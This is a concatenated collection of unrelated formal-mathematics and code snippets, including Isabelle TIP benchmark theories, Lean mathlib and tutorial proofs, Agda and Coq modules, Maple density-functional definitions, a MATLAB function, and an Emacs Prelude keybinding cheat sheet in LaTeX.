\subsection{Compound or mixed `Poisson' processes}
\end{document}
|
(*
Copyright (C) 2017 M.A.L. Marques
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
*)
(* type: lda_exc *)
a := 0.0311:
b := -0.048:
c := 0.009:
d := -0.017:
f := (rs, zeta) -> a*log(rs) + b + c*rs*log(rs) + d*rs:
|
(* Property from Case-Analysis for Rippling and Inductive Proof,
Moa Johansson, Lucas Dixon and Alan Bundy, ITP 2010.
This Isabelle theory is produced using the TIP tool offered at the following website:
https://github.com/tip-org/tools
This file was originally provided as part of TIP benchmark at the following website:
https://github.com/tip-org/benchmarks
Yutaka Nagashima at CIIRC, CTU changed the TIP output theory file slightly
to make it compatible with Isabelle2017.*)
theory TIP_prop_55
imports "../../Test_Base"
begin
datatype 'a list = nil2 | cons2 "'a" "'a list"
datatype Nat = Z | S "Nat"
fun x :: "'a list => 'a list => 'a list" where
"x (nil2) z = z"
| "x (cons2 z2 xs) z = cons2 z2 (x xs z)"
fun len :: "'a list => Nat" where
"len (nil2) = Z"
| "len (cons2 z xs) = S (len xs)"
fun drop :: "Nat => 'a list => 'a list" where
"drop (Z) z = z"
| "drop (S z2) (nil2) = nil2"
| "drop (S z2) (cons2 x2 x3) = drop z2 x3"
fun t2 :: "Nat => Nat => Nat" where
"t2 (Z) z = Z"
| "t2 (S z2) (Z) = S z2"
| "t2 (S z2) (S x2) = t2 z2 x2"
theorem property0 :
"((drop n (x xs ys)) = (x (drop n xs) (drop (t2 n (len xs)) ys)))"
oops
end
|
/-
Copyright (c) 2021 Scott Morrison. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Authors: Scott Morrison, Adam Topaz, Johan Commelin, Joël Riou
-/
import category_theory.preadditive.additive_functor
import logic.equiv.transfer_instance
/-!
# If `C` is preadditive, `Cᵒᵖ` has a natural preadditive structure.
-/
open opposite
namespace category_theory
variables (C : Type*) [category C] [preadditive C]
instance : preadditive Cᵒᵖ :=
{ hom_group := λ X Y, equiv.add_comm_group (op_equiv X Y),
add_comp' := λ X Y Z f f' g,
congr_arg quiver.hom.op (preadditive.comp_add _ _ _ g.unop f.unop f'.unop),
comp_add' := λ X Y Z f g g',
congr_arg quiver.hom.op (preadditive.add_comp _ _ _ g.unop g'.unop f.unop), }
instance module_End_left {X : Cᵒᵖ} {Y : C} : module (End X) (unop X ⟶ Y) :=
{ smul_add := λ r f g, preadditive.comp_add _ _ _ _ _ _,
smul_zero := λ r, limits.comp_zero,
add_smul := λ r s f, preadditive.add_comp _ _ _ _ _ _,
zero_smul := λ f, limits.zero_comp }
@[simp] lemma unop_zero (X Y : Cᵒᵖ) : (0 : X ⟶ Y).unop = 0 := rfl
@[simp] lemma unop_add {X Y : Cᵒᵖ} (f g : X ⟶ Y) : (f + g).unop = f.unop + g.unop := rfl
@[simp] lemma unop_zsmul {X Y : Cᵒᵖ} (k : ℤ) (f : X ⟶ Y) : (k • f).unop = k • f.unop := rfl
@[simp] lemma unop_neg {X Y : Cᵒᵖ}(f : X ⟶ Y) : (-f).unop = -(f.unop) := rfl
@[simp] lemma op_zero (X Y : C) : (0 : X ⟶ Y).op = 0 := rfl
@[simp]
variable {C}
/-- `unop` induces morphisms of monoids on hom groups of a preadditive category -/
@[simps] def unop_hom (X Y : Cᵒᵖ) : (X ⟶ Y) →+ (opposite.unop Y ⟶ opposite.unop X) :=
add_monoid_hom.mk' (λ f, f.unop) $ λ f g, unop_add _ f g
@[simp] lemma unop_sum (X Y : Cᵒᵖ) {ι : Type*} (s : finset ι) (f : ι → (X ⟶ Y)) :
(s.sum f).unop = s.sum (λ i, (f i).unop) :=
(unop_hom X Y).map_sum _ _
/-- `op` induces morphisms of monoids on hom groups of a preadditive category -/
@[simps] def op_hom (X Y : C) : (X ⟶ Y) →+ (opposite.op Y ⟶ opposite.op X) :=
add_monoid_hom.mk' (λ f, f.op) $ λ f g, op_add _ f g
@[simp] lemma op_sum (X Y : C) {ι : Type*} (s : finset ι) (f : ι → (X ⟶ Y)) :
(s.sum f).op = s.sum (λ i, (f i).op) :=
(op_hom X Y).map_sum _ _
variables {D : Type*} [category D] [preadditive D]
instance functor.op_additive (F : C ⥤ D) [F.additive] : F.op.additive := {}
instance functor.right_op_additive (F : Cᵒᵖ ⥤ D) [F.additive] : F.right_op.additive := {}
instance functor.left_op_additive (F : C ⥤ Dᵒᵖ) [F.additive] : F.left_op.additive := {}
instance functor.unop_additive (F : Cᵒᵖ ⥤ Dᵒᵖ) [F.additive] : F.unop.additive := {}
end category_theory
|
function run_REDaddon_sourcery(db, ops0)
ops = build_ops3(db, ops0);
% red channel addon to already processed data
mimgG = [];
if sum(ismember(ops.expts, ops.expred))>0
mimgR = regRedChannelExpts(ops);
else
if ops.nchannels_red==2
% return green mean image from short red/green recording
[mimgR, mimgG] = regRedGreenChannel(ops);
else
mimgR = regRedChannelOnly(ops);
end
end
save(fullfile(ops.ResultsSavePath,'redchannel.mat'), 'mimgR','mimgG');
add_red_channel_sourcery(ops);
|
[STATEMENT]
lemma interaction_bound_inline1':
"\<lbrakk> Inr (out', out, c', rpv) \<in> set_spmf (inline1' gpv s); interaction_bound consider' gpv \<le> p \<rbrakk>
\<Longrightarrow> if consider' out' then
(if consider out then eSuc (interaction_bound consider (c' input)) else interaction_bound consider (c' input)) \<le> q \<and>
eSuc (interaction_bound consider' (rpv x)) \<le> p
else \<not> consider out \<and> interaction_bound consider (c' input) = 0 \<and> interaction_bound consider' (rpv x) \<le> p"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. \<lbrakk>Inr (out', out, c', rpv) \<in> set_spmf (inline1' gpv s); interaction_bound consider' gpv \<le> p\<rbrakk> \<Longrightarrow> if consider' out' then (if consider out then eSuc (interaction_bound consider (c' input)) else interaction_bound consider (c' input)) \<le> q \<and> eSuc (interaction_bound consider' (rpv x)) \<le> p else \<not> consider out \<and> interaction_bound consider (c' input) = 0 \<and> interaction_bound consider' (rpv x) \<le> p
[PROOF STEP]
using interaction_bound_inline1'_aux[where gpv=gpv and p=p and s=s]
[PROOF STATE]
proof (prove)
using this:
interaction_bound consider' gpv \<le> p \<Longrightarrow> set_spmf (inline1' gpv s) \<subseteq> {Inr (out', out, c', rpv) |out' out c' rpv. if consider' out' then (\<forall>input. (if consider out then eSuc (interaction_bound consider (c' input)) else interaction_bound consider (c' input)) \<le> q) \<and> (\<forall>x. eSuc (interaction_bound consider' (rpv x)) \<le> p) else \<not> consider out \<and> (\<forall>input. interaction_bound consider (c' input) = 0) \<and> (\<forall>x. interaction_bound consider' (rpv x) \<le> p)} \<union> range Inl
goal (1 subgoal):
1. \<lbrakk>Inr (out', out, c', rpv) \<in> set_spmf (inline1' gpv s); interaction_bound consider' gpv \<le> p\<rbrakk> \<Longrightarrow> if consider' out' then (if consider out then eSuc (interaction_bound consider (c' input)) else interaction_bound consider (c' input)) \<le> q \<and> eSuc (interaction_bound consider' (rpv x)) \<le> p else \<not> consider out \<and> interaction_bound consider (c' input) = 0 \<and> interaction_bound consider' (rpv x) \<le> p
[PROOF STEP]
by(auto split: if_split_asm) |
State Before: α : Type u_1
β : Type ?u.216030
γ : Type ?u.216033
inst✝ : DecidableEq α
s✝ t u v : Finset α
a✝ b : α
s : Finset α
a : α
h : ¬a ∈ s
⊢ erase (cons a s h) a = s State After: no goals Tactic: rw [cons_eq_insert, erase_insert_eq_erase, erase_eq_of_not_mem h] |
Formal statement is: lemma topological_tendstoD: "(f \<longlongrightarrow> l) F \<Longrightarrow> open S \<Longrightarrow> l \<in> S \<Longrightarrow> eventually (\<lambda>x. f x \<in> S) F" Informal statement is: If $f$ converges to $l$ in a filter $F$, and $S$ is an open set containing $l$, then $f$ eventually takes values in $S$. |
[STATEMENT]
lemma coefficients_head: "last (coefficients p) = head p"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. last (coefficients p) = head p
[PROOF STEP]
by (induct p rule: coefficients.induct) auto |
------------------------------------------------------------------------
-- The Agda standard library
--
-- Coprimality
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Integer.Coprimality where
open import Data.Integer
open import Data.Integer.Divisibility
open import Data.Integer.Properties
import Data.Nat.Coprimality as ℕ
import Data.Nat.Divisibility as ℕ
open import Function using (_on_)
open import Level using (0ℓ)
open import Relation.Binary using (Rel; Decidable; Symmetric)
open import Relation.Binary.PropositionalEquality using (subst)
------------------------------------------------------------------------
-- Definition
Coprime : Rel ℤ 0ℓ
Coprime = ℕ.Coprime on ∣_∣
------------------------------------------------------------------------
-- Properties of coprimality
sym : Symmetric Coprime
sym = ℕ.sym
coprime? : Decidable Coprime
coprime? x y = ℕ.coprime? ∣ x ∣ ∣ y ∣
coprime-divisor : ∀ i j k → Coprime i j → i ∣ j * k → i ∣ k
coprime-divisor i j k c eq =
ℕ.coprime-divisor c (subst (∣ i ∣ ℕ.∣_ ) (abs-*-commute j k) eq)
|
Formal statement is: lemma LIMSEQ_inverse_real_of_nat_add: "(\<lambda>n. r + inverse (real (Suc n))) \<longlonglongrightarrow> r" Informal statement is: The sequence $r + \frac{1}{n+1}$ converges to $r$. |
(*
Copyright (C) 2017 M.A.L. Marques
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
*)
(* type: gga_exc *)
(* prefix:
gga_k_mpbe_params *params;
assert(p->params != NULL);
params = (gga_k_mpbe_params * )(p->params);
*)
$include "gga_x_mpbe.mpl"
f := (rs, z, xt, xs0, xs1) -> gga_kinetic(mpbe_f, rs, z, xs0, xs1):
|
The interior of a ball is the ball itself. |
\documentclass[10pt]{article}
\usepackage[margin=0.5cm,landscape,a3paper]{geometry}
\pagestyle{empty}
\usepackage{textcomp}
\usepackage{multicol}
\usepackage{menukeys}
\usepackage{enumitem}
\usepackage{xcolor}
\usepackage{xpatch}
\usepackage{xparse}
\usepackage{calc}
\usepackage{tcolorbox}
\definecolor{default}{HTML}{333333}
\definecolor{heading}{HTML}{000000}
\definecolor{command}{HTML}{666666}
\definecolor{key}{HTML}{268BD2}
\renewcommand\section[1]{\bigskip\par\textbf{\color{heading}\large#1}\smallskip}
\renewcommand\subsection[1]{\smallskip\par\textbf{\color{heading}#1}}
\newcommand\humanreadable[1]{{\par\color{default}\small\sffamily#1}}
\newcommand\meta[1]{\textlangle\textit{#1}\textrangle}
\newcommand\keyify[1]{\color{key}\ttfamily#1}
\newlist{keylist}{description}{1}
\setlist[keylist]{
topsep = 1pt,
labelindent = 1pt,
itemsep = -1ex,
labelwidth = \widthof{xxxxxxxxxxxxxx},
font = \keyify,
leftmargin = !,
before = \color{command}\sffamily
}
\setlength\parindent{0em}
\setlength\parsep{0ex}
\renewcommand\baselinestretch{1.2}
\begin{document}
\begin{multicols}{4}
\setlength{\columnsep}{1cm}
\begin{center}
\LARGE\color{heading}\textbf{Emacs Prelude Cheat Sheet}
\end{center}
\section{Getting Help in Emacs}
\begin{keylist}
\item[C-h k \meta{key}] \humanreadable{describe function bound to \meta{key}}
\item[C-h b] \humanreadable{list key-bindings for focused buffer}
\item[C-h m] \humanreadable{describe mode}
\item[C-h l] \humanreadable{show the keys you have pressed}
\item[C-h f] \humanreadable{describe function}
\end{keylist}
\section{Global}
\begin{keylist}
\item[C-x \textbackslash] align-regexp
\item[C-+] text-scale-increase
\item[C--] text-scale-decrease
\item[C-x O] \humanreadable{go to previous window}
\item[C-x m] eshell
\item[C-x M] \humanreadable{start a new eshell if one is active}
\item[C-x M-m] shell
\item[C-x C-m] smex
\item[C-h A] apropos
\item[C-h C-f] find-function
\item[C-h C-k] find-function-on-key
\item[C-h C-v] find-variable
\item[C-h C-l] find-library
\item[C-h C-i] info-display-manual
\item[C-<backspace>] \humanreadable{kill line backward and indent}
\item[C-o] (isearch-mode) isearch-occur
\item[M-/] hippie-expand
\item[C-x C-b] ibuffer
\item[<f11>] prelude-fullscreen
\item[<f12>] menu-bar-mode
\item[C-x g] magit-status
\item[C-x M-g] magit-dispatch-popup
\end{keylist}
\subsection{prelude}
\humanreadable{Keybindings defined in prelude mode}
\begin{keylist}
\item[C-c o] crux-open-with
\item[C-c g] prelude-google
\item[C-c G] prelude-github
\item[C-c y] prelude-youtube
\item[C-c U] prelude-duckduckgo
\item[C-a] crux-move-beginning-of-line
\item[S-<return>] crux-smart-open-line
\item[M-o] crux-smart-open-line
\item[C-S-<return>] crux-smart-open-line-above
\item[C-S-<up>] move-text-up
\item[C-S-<down>] move-text-down
\item[M-S-<up>] move-text-up
\item[M-S-<down>] move-text-down
\item[C-c n] crux-cleanup-buffer-or-region
\item[C-c f] crux-recentf-ido-find-file
\item[C-M-z] crux-indent-defun
\item[C-c u] crux-view-url
\item[C-c e] crux-eval-and-replace
\item[C-c s] crux-swap-windows
\item[C-c w] prelude-swap-meta-and-super
\item[C-c D] crux-delete-file-and-buffer
\item[C-c d] crux-duplicate-current-line-or-region
\item[C-c M-d] crux-duplicate-and-comment-current-
line-or-region
\item[C-c r] crux-rename-buffer-and-file
\item[C-c t] crux-visit-term-buffer
\item[C-c k] crux-kill-other-buffers
\item[C-c TAB] crux-indent-rigidly-and-copy-
to-clipboard
\item[C-c I] crux-find-user-init-file
\item[C-c S] crux-find-shell-init-file
\item[C-c i] imenu-anywhere
\item[s-p] projectile-command-map
\item[s-r] crux-recentf-ido-find-file
\item[s-j] crux-top-join-line
\item[s-k] crux-kill-whole-line
\item[s-m m] magit-status
\item[s-m l] magit-log
\item[s-m f] magit-log-buffer-file
\item[s-m b] magit-blame
\item[s-o] crux-smart-open-line-above
\end{keylist}
\subsection{ace-window}
\humanreadable{Quickly switch windows in Emacs}
\begin{keylist}
\item[s-w] ace-window
\end{keylist}
\subsection{avy}
\humanreadable{Effectively navigate to visible things}
\begin{keylist}
\item[C-c j] avy-goto-word-or-subword-1
\item[s-.] avy-goto-word-or-subword-1
\end{keylist}
\subsection{anzu}
\humanreadable{Enhances isearch \& query-replace by showing total matches and current match position}
\begin{keylist}
\item[M-\%] anzu-query-replace
\item[s-.] anzu-query-replace-regexp
\end{keylist}
\subsection{browse-kill-ring}
\humanreadable{Smarter kill-ring navigation}
\begin{keylist}
\item[s-y] browse-kill-ring
\end{keylist}
\subsection{crux}
\humanreadable{A Collection of Ridiculously Useful eXtensions for Emacs.}
\begin{keylist}
\item[C-\^] crux-top-join-line
\item[s-k] crux-kill-whole-line
\end{keylist}
\subsection{discover-my-major}
\humanreadable{A quick major mode help with discover-my-major.}
\begin{keylist}
\item[C-h C-m] discover-my-major
\end{keylist}
\subsection{easy-kill}
\humanreadable{Kill \& Mark Things Easily in Emacs.}
\begin{keylist}
\item[M-w] easy-kill
\item[C-M-SPC] easy-mark
\item[C-M-@] easy-mark
\end{keylist}
\subsection{expand-region}
\humanreadable{Increase selected region by semantic units.}
\begin{keylist}
\item[C-=] er/expand-region
\end{keylist}
\subsection{flycheck}
\humanreadable{On the fly syntax checking.}
\begin{keylist}
\item[C-t C-n] flycheck-next-error
\item[C-t C-p] flycheck-previous-error
\end{keylist}
\subsection{projectile}
\humanreadable{Project Interaction Library for Emacs.}
\begin{keylist}
\item[C-c p f] projectile-find-file
\item[C-c p p] projectile-switch-project
\item[C-c p d] projectile-find-dir
\item[C-c p r] projectile-replace
\item[C-c p T] projectile-find-test-file
\item[C-c p s g] projectile-grep
\item[C-c p s s] projectile-ag
\end{keylist}
\subsection{operate-on-number}
\humanreadable{Operate on number at point with arithmetic functions.}
\begin{keylist}
\item[C-c . +] apply-operation-to-number-at-point
\item[C-c . -] apply-operation-to-number-at-point
\item[C-c . *] apply-operation-to-number-at-point
\item[C-c . /] apply-operation-to-number-at-point
\item[C-c . \textbackslash] apply-operation-to-number-at-point
\item[C-c . \textasciicircum] apply-operation-to-number-at-point
\item[C-c . <] apply-operation-to-number-at-point
\item[C-c . >] apply-operation-to-number-at-point
\item[C-c . \#] apply-operation-to-number-at-point
\item[C-c . \%] apply-operation-to-number-at-point
\item[C-c . '] operate-on-number-at-point
\end{keylist}
\subsection{zop-to-char}
\humanreadable{A more powerful alternative to zap-to-char.}
\begin{keylist}
\item[M-z] zop-up-to-char
\item[M-Z] zop-to-char
\end{keylist}
\section{Modules}
\subsection{prelude-ido}
\begin{keylist}
\item[M-x] smex
\item[M-X] smex-major-mode-commands
\end{keylist}
\subsection{prelude-ivy}
\begin{keylist}
\item[C-c C-r] ivy-resume
\item[<f6>] ivy-resume
\item[C-s] swiper
\item[M-x] counsel-M-x
\item[<f1> f] counsel-describe-function
\item[<f1> v] counsel-describe-variable
\item[<f1> l] counsel-find-library
\item[<f1> i] counsel-info-lookup-symbol
\item[<f1> u] counsel-unicode-char
\item[C-c g] counsel-git
\item[C-c j] counsel-git-grep
\item[C-c k] counsel-ag
\item[C-x l] counsel-locate
\item[C-r] (minibuffer) counsel-minibuffer-history
\end{keylist}
\subsection{prelude-helm}
\begin{keylist}
\item[C-c h o] helm-occur
\item[C-c h g] helm-do-grep
\item[C-c h C-c w] helm-wikipedia-suggest
\item[C-c h SPC] helm-all-mark-rings
\item[C-c p h] helm-projectile
\end{keylist}
\subsection{prelude-helm-everywhere}
\begin{keylist}
\item[M-x] helm-M-x
\item[C-c C-m] helm-M-x
\item[M-y] helm-show-kill-ring
\item[C-x b] helm-mini
\item[C-x C-b] helm-buffers-list
\item[C-x C-f] helm-find-files
\item[C-h f] helm-apropos
\item[C-h r] helm-info-emacs
\item[C-h C-l] helm-locate-library
\item[C-c f] (prelude-mode) helm-recentf
\item[C-c C-l] (minibuffer-local) help-minibuffer-history
\item[C-o] (isearch-mode) helm-occur-from-isearch
\item[C-c C-l] (shell-mode) helm-comint-input-ring
\end{keylist}
\subsection{prelude-key-chord}
\begin{keylist}
\item[jj] avy-goto-word-1
\item[jl] avy-goto-line
\item[jk] avy-goto-char
\item[JJ] crux-switch-to-previous-buffer
\item[uu] undo-tree-visualize
\item[xx] execute-extended-command
\item[yy] browse-kill-ring
\end{keylist}
\subsection{prelude-evil}
\begin{keylist}
\item[C-A] (normal-state) evil-numbers/inc-at-pt
\item[C-S-A] (normal-state) evil-numbers/dec-at-pt
\item[>] (visual-state) prelude-shift-right-visual
\item[<] prelude-shift-left-visual
\item[C-S-d] prelude-evil-scroll-down-other-window
\item[C-S-u] prelude-evil-scroll-up-other-window
\item[K] (magit-branch-manager-mode)\\
(emacs-state) magit-discard
\item[L] (magit-branch-manager-mode)\\
(emacs-state) magit-log-popup
\item[K] (magit-status-mode) (emacs-state) magit-discard
\item[l] (magit-status-mode) (emacs-state)\\
magit-log-popup
\item[h] (magit-status-mode) (emacs-state)\\
magit-diff-toggle-refine-hunk
\end{keylist}
\subsection{prelude-emacs-lisp}
\begin{keylist}
\item[C-c C-z] prelude-visit-ielm
\item[C-c C-c] eval-defun
\item[C-c C-b] eval-buffer
\end{keylist}
\subsection{prelude-go}
\begin{keylist}
\item[C-c a] go-test-current-project
\item[C-c m] go-test-current-file
\item[C-c .] go-test-current-test
\item[C-c b] go-run
\item[C-c h] godoc-at-point
\end{keylist}
\subsection{prelude-ocaml}
\begin{keylist}
\item[C-c C-s] utop
\end{keylist}
\subsection{prelude-org}
\begin{keylist}
\item[C-c l] org-store-link
\item[C-c a] org-agenda
\item[C-c b] org-iswitchb
\end{keylist}
\subsection{prelude-rust}
\begin{keylist}
\item[C-c C-d] racer-describe
\end{keylist}
\end{multicols}
\end{document}
%%% Local Variables:
%%% mode: latex
%%% TeX-master: t
%%% End:
|
-- Introducción de la conjunción
-- =============================
-- Ej. 1. Demostrar que
-- P ∧ Q → Q ∧ P
import tactic
variables (P Q : Prop)
-- 1ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q,
have hP : P,
from and.left h,
have hQ : Q,
from and.right h,
show Q ∧ P,
from and.intro hQ hP
-- 2ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q,
have hP : P,
from h.left,
have hQ : Q,
from h.right,
show Q ∧ P,
from ⟨hQ, hP⟩
-- 3ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q,
have hP : P,
from h.1,
have hQ : Q,
from h.2,
show Q ∧ P,
from ⟨hQ, hP⟩
-- 4ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q,
have hP : P := h.1,
have hQ : Q := h.2,
show Q ∧ P,
from ⟨hQ, hP⟩
-- 5ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q,
show Q ∧ P,
from ⟨h.2, h.1⟩
-- 6ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
assume h : P ∧ Q, ⟨h.2, h.1⟩
-- 7ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
λ h, ⟨h.2,h.1⟩
-- 11ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
and.comm.mp
-- 8ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
begin
intro h,
cases h with hP hQ,
split,
{ exact hQ, },
{ exact hP, },
end
-- 9ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
begin
rintro ⟨hP, hQ⟩,
exact ⟨hQ, hP⟩,
end
-- 10ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
λ ⟨hP, hQ⟩, ⟨hQ, hP⟩
-- 12ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
by tauto
-- 13ª demostración
-- ===============
example : P ∧ Q → Q ∧ P :=
by finish
|
{-
This second-order term syntax was created from the following second-order syntax description:
syntax UTLC | Λ
type
* : 0-ary
term
app : * * -> * | _$_ l20
lam : *.* -> * | ƛ_ r10
theory
(ƛβ) b : *.* a : * |> app (lam (x.b[x]), a) = b[a]
(ƛη) f : * |> lam (x.app (f, x)) = f
(lβ) b : *.* a : * |> letd (a, x. b) = b[a]
-}
module UTLC.Syntax where
open import SOAS.Common
open import SOAS.Context
open import SOAS.Variable
open import SOAS.Families.Core
open import SOAS.Construction.Structure
open import SOAS.ContextMaps.Inductive
open import SOAS.Metatheory.Syntax
open import UTLC.Signature
private
variable
Γ Δ Π : Ctx
α : *T
𝔛 : Familyₛ
-- Inductive term declaration
module Λ:Terms (𝔛 : Familyₛ) where
data Λ : Familyₛ where
var : ℐ ⇾̣ Λ
mvar : 𝔛 α Π → Sub Λ Π Γ → Λ α Γ
_$_ : Λ * Γ → Λ * Γ → Λ * Γ
ƛ_ : Λ * (* ∙ Γ) → Λ * Γ
infixl 20 _$_
infixr 10 ƛ_
open import SOAS.Metatheory.MetaAlgebra ⅀F 𝔛
Λᵃ : MetaAlg Λ
Λᵃ = record
{ 𝑎𝑙𝑔 = λ where
(appₒ ⋮ a , b) → _$_ a b
(lamₒ ⋮ a) → ƛ_ a
; 𝑣𝑎𝑟 = var ; 𝑚𝑣𝑎𝑟 = λ 𝔪 mε → mvar 𝔪 (tabulate mε) }
module Λᵃ = MetaAlg Λᵃ
module _ {𝒜 : Familyₛ}(𝒜ᵃ : MetaAlg 𝒜) where
open MetaAlg 𝒜ᵃ
𝕤𝕖𝕞 : Λ ⇾̣ 𝒜
𝕊 : Sub Λ Π Γ → Π ~[ 𝒜 ]↝ Γ
𝕊 (t ◂ σ) new = 𝕤𝕖𝕞 t
𝕊 (t ◂ σ) (old v) = 𝕊 σ v
𝕤𝕖𝕞 (mvar 𝔪 mε) = 𝑚𝑣𝑎𝑟 𝔪 (𝕊 mε)
𝕤𝕖𝕞 (var v) = 𝑣𝑎𝑟 v
𝕤𝕖𝕞 (_$_ a b) = 𝑎𝑙𝑔 (appₒ ⋮ 𝕤𝕖𝕞 a , 𝕤𝕖𝕞 b)
𝕤𝕖𝕞 (ƛ_ a) = 𝑎𝑙𝑔 (lamₒ ⋮ 𝕤𝕖𝕞 a)
𝕤𝕖𝕞ᵃ⇒ : MetaAlg⇒ Λᵃ 𝒜ᵃ 𝕤𝕖𝕞
𝕤𝕖𝕞ᵃ⇒ = record
{ ⟨𝑎𝑙𝑔⟩ = λ{ {t = t} → ⟨𝑎𝑙𝑔⟩ t }
; ⟨𝑣𝑎𝑟⟩ = refl
; ⟨𝑚𝑣𝑎𝑟⟩ = λ{ {𝔪 = 𝔪}{mε} → cong (𝑚𝑣𝑎𝑟 𝔪) (dext (𝕊-tab mε)) } }
where
open ≡-Reasoning
⟨𝑎𝑙𝑔⟩ : (t : ⅀ Λ α Γ) → 𝕤𝕖𝕞 (Λᵃ.𝑎𝑙𝑔 t) ≡ 𝑎𝑙𝑔 (⅀₁ 𝕤𝕖𝕞 t)
⟨𝑎𝑙𝑔⟩ (appₒ ⋮ _) = refl
⟨𝑎𝑙𝑔⟩ (lamₒ ⋮ _) = refl
𝕊-tab : (mε : Π ~[ Λ ]↝ Γ)(v : ℐ α Π) → 𝕊 (tabulate mε) v ≡ 𝕤𝕖𝕞 (mε v)
𝕊-tab mε new = refl
𝕊-tab mε (old v) = 𝕊-tab (mε ∘ old) v
module _ (g : Λ ⇾̣ 𝒜)(gᵃ⇒ : MetaAlg⇒ Λᵃ 𝒜ᵃ g) where
open MetaAlg⇒ gᵃ⇒
𝕤𝕖𝕞! : (t : Λ α Γ) → 𝕤𝕖𝕞 t ≡ g t
𝕊-ix : (mε : Sub Λ Π Γ)(v : ℐ α Π) → 𝕊 mε v ≡ g (index mε v)
𝕊-ix (x ◂ mε) new = 𝕤𝕖𝕞! x
𝕊-ix (x ◂ mε) (old v) = 𝕊-ix mε v
𝕤𝕖𝕞! (mvar 𝔪 mε) rewrite cong (𝑚𝑣𝑎𝑟 𝔪) (dext (𝕊-ix mε))
= trans (sym ⟨𝑚𝑣𝑎𝑟⟩) (cong (g ∘ mvar 𝔪) (tab∘ix≈id mε))
𝕤𝕖𝕞! (var v) = sym ⟨𝑣𝑎𝑟⟩
𝕤𝕖𝕞! (_$_ a b) rewrite 𝕤𝕖𝕞! a | 𝕤𝕖𝕞! b = sym ⟨𝑎𝑙𝑔⟩
𝕤𝕖𝕞! (ƛ_ a) rewrite 𝕤𝕖𝕞! a = sym ⟨𝑎𝑙𝑔⟩
-- Syntax instance for the signature
Λ:Syn : Syntax
Λ:Syn = record
{ ⅀F = ⅀F
; ⅀:CS = ⅀:CompatStr
; mvarᵢ = Λ:Terms.mvar
; 𝕋:Init = λ 𝔛 → let open Λ:Terms 𝔛 in record
{ ⊥ = Λ ⋉ Λᵃ
; ⊥-is-initial = record { ! = λ{ {𝒜 ⋉ 𝒜ᵃ} → 𝕤𝕖𝕞 𝒜ᵃ ⋉ 𝕤𝕖𝕞ᵃ⇒ 𝒜ᵃ }
; !-unique = λ{ {𝒜 ⋉ 𝒜ᵃ} (f ⋉ fᵃ⇒) {x = t} → 𝕤𝕖𝕞! 𝒜ᵃ f fᵃ⇒ t } } } }
-- Instantiation of the syntax and metatheory
open Syntax Λ:Syn public
open Λ:Terms public
open import SOAS.Families.Build public
open import SOAS.Syntax.Shorthands Λᵃ public
open import SOAS.Metatheory Λ:Syn public
-- Derived operations
letd : Λ 𝔛 * Γ → Λ 𝔛 * (* ∙ Γ) → Λ 𝔛 * Γ
letd a b = (ƛ b) $ a
|
Formal statement is: lemma euclidean_dist_l2: fixes x y :: "'a :: euclidean_space" shows "dist x y = L2_set (\<lambda>i. dist (x \<bullet> i) (y \<bullet> i)) Basis" Informal statement is: The Euclidean distance between two points $x$ and $y$ is equal to the $L^2$ distance between the coordinates of $x$ and $y$. |
(* Property from Case-Analysis for Rippling and Inductive Proof,
Moa Johansson, Lucas Dixon and Alan Bundy, ITP 2010.
This Isabelle theory is produced using the TIP tool offered at the following website:
https://github.com/tip-org/tools
This file was originally provided as part of TIP benchmark at the following website:
https://github.com/tip-org/benchmarks
Yutaka Nagashima at CIIRC, CTU changed the TIP output theory file slightly
to make it compatible with Isabelle2017.
Some proofs were added by Yutaka Nagashima.*)
theory TIP_prop_20
imports "../../Test_Base"
begin
datatype 'a list = nil2 | cons2 "'a" "'a list"
datatype Nat = Z | S "Nat"
fun len :: "'a list => Nat" where
"len (nil2) = Z"
| "len (cons2 y xs) = S (len xs)"
fun t2 :: "Nat => Nat => bool" where
"t2 (Z) y = True"
| "t2 (S z) (Z) = False"
| "t2 (S z) (S x2) = t2 z x2"
fun insort :: "Nat => Nat list => Nat list" where
"insort x (nil2) = cons2 x (nil2)"
| "insort x (cons2 z xs) =
(if t2 x z then cons2 x (cons2 z xs) else cons2 z (insort x xs))"
fun sort :: "Nat list => Nat list" where
"sort (nil2) = nil2"
| "sort (cons2 y xs) = insort y (sort xs)"
theorem property0 :
"((len (sort xs)) = (len xs))"
oops
end |
If $f$ and $g$ are functions that agree everywhere except at $a$ and $b$, and if $f$ converges to $l$ at $a$, then $g$ converges to $l$ at $a$. |
Require Import Koky.Core.Util.FunExt.
Require Import Functor.
Instance Functor_prod {A} : Functor (prod A) :=
{ fmap A B f pair := (fst pair, f (snd pair)) }.
Instance FunctorDec_prod {A} : FunctorDec (prod A).
Proof.
split; intros; try destruct fa; auto.
Qed.
Instance Functor_prod' {B} : Functor (fun A => prod A B) :=
{ fmap A B f pair := (f (fst pair), (snd pair)) }.
Instance FunctorDec_prod' {B} : FunctorDec (fun A => prod A B).
Proof.
split; intros; try destruct fa; auto.
Qed.
Lemma prod_proj :
forall A B (pr : A * B), pr = (fst pr, snd pr).
Proof.
now destruct pr.
Qed.
Lemma prod_proj_id :
forall A B, (fun pr : A * B => (fst pr, snd pr)) = id.
Proof.
intros.
apply functional_extensionality.
intros.
now rewrite prod_proj.
Qed.
|
/-
Copyright (c) 2021 Floris van Doorn. All rights reserved.
